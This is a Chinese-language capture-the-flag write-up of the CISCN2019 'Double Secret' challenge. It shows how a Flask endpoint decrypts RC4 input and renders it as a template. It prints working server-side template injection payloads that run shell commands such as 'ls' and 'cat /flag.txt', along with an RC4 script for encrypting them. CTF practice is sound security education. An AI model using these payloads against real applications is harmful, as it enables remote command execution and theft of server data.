[CISCN2019 华东南赛区]Double Secret
考点:1、RC4加密 2、FlaskのSSTI
进去一脸懵逼,常规流程走一套啥也没发现
然后先是看到了毫无用处的robots.txt
,dirsearch
扫了一遍也没扫到,在后面尝试了index.php、index.jsp、index.html
,以自己的知识量猜测就是python的flask
,然后就盲猜了一手/secret
Tell me your secret.I will encrypt it so others can't see
猜测注入点是secret
,注入后发现不明的回显,瞎输了一些东西后发现报错
关键代码如下:
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
Open an interactive python shell in this frame
将输入的内容进行了rc4解密并回显到了页面上,所以我们只需要将payload
进行rc4加密后注入即可
加密地址:http://www.hiencode.com/rc4.html
显示尝试{{7*7}}
,回显49
,证明存在SSTI
接着先随便使用一个payload
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
关于FlaskのSSTI
,可以看看之前的文章Flask框架及其漏洞学习
payload:
secret=LhQZVqUJDWds0+csvb73uyesa3qIbel8A4UHthzzDeAhhE/XBOIX20CdgvEqM/MKqq1DYiqsJn/QdgbWvEsVvd1Zp1Q=
发现成功执行没有任何过滤,然后依次是
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}
加密后注入即可获得flag
做rc4加密的时候先是自己在网上找脚本,发现好多都用不了,最后只能找到一个大师傅的wp脚本:
import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)
标签:box,rc4,Double,base64,init,Secret,key,CISCN2019,secret
From: https://www.cnblogs.com/seizer/p/17035716.html